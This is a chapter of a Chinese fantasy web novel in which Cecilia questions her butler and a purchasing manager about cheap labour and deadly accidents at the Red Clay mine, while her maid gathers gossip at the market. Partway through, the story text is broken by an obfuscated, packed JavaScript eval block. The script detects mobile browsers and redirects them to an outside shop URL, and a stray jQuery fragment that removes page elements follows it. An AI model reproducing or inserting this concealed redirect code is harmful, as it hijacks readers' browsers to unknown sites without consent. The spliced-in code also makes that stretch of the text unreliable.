天色渐亮，朝寒侵人。
塞西莉亚缓步走进花圃里，白色、粉色的欧石楠与嚏根草穿插生长，橙黄色的金盏花簇拥着紫色的薰衣草，星星点点散落在园圃四周，苗土表面覆了一层薄薄的、暗红色的泥土，铺得厚的部分已经干裂、板结。
肃杀的布鲁德尔难见春色，但这春色却始终停留在萨利曼的花圃之内，哪怕只是一个偏僻的乡下庄园。
塞西莉亚左手轻轻按住胸口，微微弯腰，昂首的黑色花朵与她裙摆勾缠，无声地弯了长茎。
她捏起一小撮，慢慢直起身，暗红色的泥土滑落掌心洁白的绷带上，宛若斑斑血迹。
嚏根草的长茎猛地一下弹回，左右摇晃了几下又回到了原来静止的位置。
她收了收手指，指节仍有些僵硬。虽然那日刀口很巧合地避开了骨节，但留下了永远的损伤，再也无法恢复如初。
塞西莉亚盯着掌心看了片刻，慢慢翻转手掌，泥土洒落，掉在墨绿的叶片上，砸出“沙沙”的声响。
她从花圃里走出来，正好与管家泰德遇上。
“泰德。”
塞西莉亚走了两步又停下，声音融进了早晨的寒意，只有呼出的白汽清晰地将她与活物这个词绑在一起。
泰德抬头，抿着唇，等着她的吩咐。
塞西莉亚转过身：“花圃的土来自哪里？”
泰德微怔，他没想到塞西莉亚会问这种问题，他以为她会责问那些被视为毒物的嚏根草。
但他还是极快地思考了一下，回道：“北部的矿土和庄园外密林的腐殖土。”
“矿土？”
“是的，红土矿场的矿土肥沃，整个布鲁德尔只有那里有这种红土。”他如实答道。
红土矿场这几个字就像一把钉锤，猛地砸碎了塞西莉亚脑海中某块一直被封存、她当时并不在意的记忆。
几年前，她曾随克莱尔巡视王国到访过野蔷薇骑士团驻守下的红土矿场。
那时的她被严密监视，根本参与不了王国事务，但王庭书记官的办公所对她倒没有那么多限制。
红土矿场的骑士团巡防图就放在办公桌上，用不同颜色的笔迹标注了各个隐秘的巡逻点，说起来还要感谢那个笑里藏刀的书记官。
那个红头巾情报贩子到过红土矿场，但那座矿场是封闭的……
塞西莉亚迎着光，远处的朝阳像一个利益深绑的盟友，仍旧光芒万丈，但寒凉得没有一丝温度。她隐约嗅到一丝不寻常。
“红土矿场最近出了什么事？”
泰德瞳孔猛地一缩，轻吸了口气，抬眼看向塞西莉亚。
红土矿场因为接二连三的矿难事故，已经造成了数十名矿工罹难，这件事被强行压了下来，除了矿工和遗属，其他人谁也不知道。
塞西莉亚又是怎么知道的呢？
若她真如他先前所想要插手矿场，那主家那边绝不会放任她，说不定还会受到比现在更严密的监控。
他一辈子忠于萨利曼，可是如今萨利曼的两代人却让他的忠诚难以抉择。
“抱歉，小姐，我不能……”他顿住，换了个说法，面色严肃了许多，“夫人……您母亲严令禁止，这不是您该过问的事情。”
说罢，他让开了路，敛眉立在一旁，闭口不言。
泰德的沉默等于坐实了塞西莉亚的猜想，红土矿场确实出了问题，而且可能还是严重的问题。
或许这就是她打通情报贩子那条路的关键。
“没关系，泰德，”塞西莉亚嘴角向两边吊起，本就精致的脸更加明媚生辉，语气更加宽和，“这是你的职责，你做得很好。”
她的笑比沉默更让泰德隐隐不安，是冷的，足以让人心生畏惧。
一连几日，塞西莉亚都没有再过问红土矿场的消息，反倒迷上了账务。
泰德松了口气，就算塞西莉亚小姐以后成不了奥维斯大公的继承人，成为某个贵族夫人，学习管家算账也是理所应当，所以他乐得见她如此。
塞西莉亚学得很快，甚至还发现了很多疏忽和漏洞，并且善于刨根究底，让泰德都不得不刮目相看。
艾丽尔庄园的采购主管是个中年妇人，她的头和身体直接略过了脖子长在了一起，嗓门又粗又大，滴流乱转的眼珠子被局限在一条窄窄的细缝里。
只从住处到塞西莉亚的书房这段短短的路，她就走得满头大汗，冬末的严寒在她这里无足轻重。
卡萝给她上茶，她挪了下屁股殷勤地起身去接，冷不防憋出一身闷响。
塞西莉亚进来的时候，卡萝举着托盘候在一边，脸色有些发青。
塞西莉亚瞥了她一眼，卡萝点点头，离开了书房。
“啊塞西莉亚小姐……”中年妇人慌忙起身，但那椅子像嵌在她的身体里，连带着在地板上拖出一声“咯吱”的声响。
“不用，您请坐。”
塞西莉亚摆了下手，在书桌后坐下，摊开了账本。
“您叫？”
“弗莲塔！”妇人抢道，头向前伸着，干笑了一声，又补充道，“弗莲塔·迪亚斯。”
“弗莲塔女士，我看过您接手以来的账目，做的很不错。”
弗莲塔眼前一亮，堆笑道：“份内之事而已，全仰仗小姐您的信任和管家的栽培。”
塞西莉亚看着她，她的五官本就紧凑，如今一笑，更像是一张纸从中间拧成了一团。
“有几个账目我有些看不明白，所以请您过来是想向您请教。”塞西莉亚也弯了弯眉眼，语气谦逊，像一个求知的学生。
“哪里的话……”弗莲塔受宠若惊，大松了口气，这才掏出手绢擦去了额头的汗，“请教不敢，您尽管问，我知无不言。”
“有您这话我就放心了。”
塞西莉亚将手中账册翻开到某一页，指尖停留，语气好奇又天真：“几年前艾丽尔庄园花圃所产花卉只能自用，为何后面产量多到能出售给教会了呢？”
“啊，这个啊……”
弗莲塔挺了挺背，一副了然于胸的模样。
“咱们改良了苗土，采用混合土，同时还相应增加了药用品种。”
“比如嚏根草这种毒物，”塞西莉亚接过她的话头，“用来治疗我的疯病？”
她语气颇为冷淡，和刚刚的热忱好似一下子割裂了，弗莲塔有些怔神，一时忘了如何去接。
但下一刻，塞西莉亚又露出了笑脸：“您做得没错，确实是教会需要的药草。”
刚刚那一瞬间的冷淡好似只是弗莲塔的错觉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746177|209297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“那为什么，最近几个月销量又开始缩减了？”
“啊……哦，是矿土。”弗莲塔回了神，“最近红土矿场那边好像出了点事，人手不足。送来的土不够及时就容易板结，影响透气……”
塞西莉亚静静听着，不时点头予以回应。
什么情况会造成人手不足？艾丽尔庄园是萨利曼的产业，就算人手再少，也最起码会优先保证庄园的供应。
“那人手不足影响了销量怎么办？弗莲塔女士，您有什么好办法吗？”
塞西莉亚适时提问，并补充了自己的看法，“难不成要换土？”
“当然不用。”弗莲塔洋洋自得，“北西两境交界城市纳维奇拥有整片大陆最廉价的半兽人劳工，马上就会补上空缺，虽说今年因西境内乱数量锐减，但……”
弗莲塔滔滔不绝，塞西莉亚垂下眼睫，在笔记上写下了“矿工锐减”、“补救措施”、“纳维奇”这几个词。
“那么从花卉这一项大概进账多少钱？”
“多少钱？”布店老板伸出了五个指头，“一个子儿也不能少！”
卡萝手一缩，扔了那匹烫手的黑色亚麻布。
老板上上下下打量着她，估摸着她也买不起，又道：“不买别摸了，我这都不够卖的。”
“怎么会？老板你该不会是趁机抬价吧？”
“我用得着诓你？”老板脖子一梗，不悦道，“你去打听打听，最近都在涨价，我这布店根本没人家铁匠铺赚得多。”
“为什么？”
“商会垄断了呗！”老板眼一瞪，摆摆手，“不买就走，走走走，别耽误我生意。”
卡萝被撵了出来，愤恨地瞪了眼老板，抬脚往市集走去。
塞西莉亚小姐让她出来问问物价，打听下最近有没有什么消息，却又不说具体是什么，叫她发愁得很。
“哎哎哎借过！”卡萝被人挤了一下，那人回头丢了句“抱歉”又匆匆往前赶。
身后的同伴紧追几步，喘着粗气：“慢点慢点！招工的又不会跑。”
那人放慢脚步，催促道：“还有不到半小时，去晚了矿场管理人就回去了……”
两人渐行渐远，卡萝看着他们的背影，还没迈步子，两个老人交头接耳的声音响从巷尾的遮雨棚下传了过来。
“……居然还有人要去那矿场？真不要命啦！”
“薪酬高，要不然谁去？最近这价涨得都没边了！”
“薪酬高算什么？死了多少了，四五个总有了吧？”
“瞎说，我邻居外甥的表兄弟在那矿场做工，抬出了十几个，好有很多没找到的，不过好在大部分都是半兽人。”
“嘘！轻点声。”另一个声音加了进来，卡萝藏在墙头后面，慢慢伸出了脑袋。那家伙身着短马甲，棕色裤角溅了不少发干的红泥点子。
他神秘兮兮地凑近两个老人，低声道：“年前还丢了好几批货呢，威廉男爵大发雷霆，派驻了野蔷薇骑士团好多骑士过来。”
他左右小心翼翼瞧了瞧，从怀里掏出个小布包，层层打开后是一尊贝拉母神的木雕像。
“那矿场一定是被魔鬼诅咒了！”他把神像往那两人跟前凑了凑，“怎样，请尊神像，只要五个铜币！”
“滚。”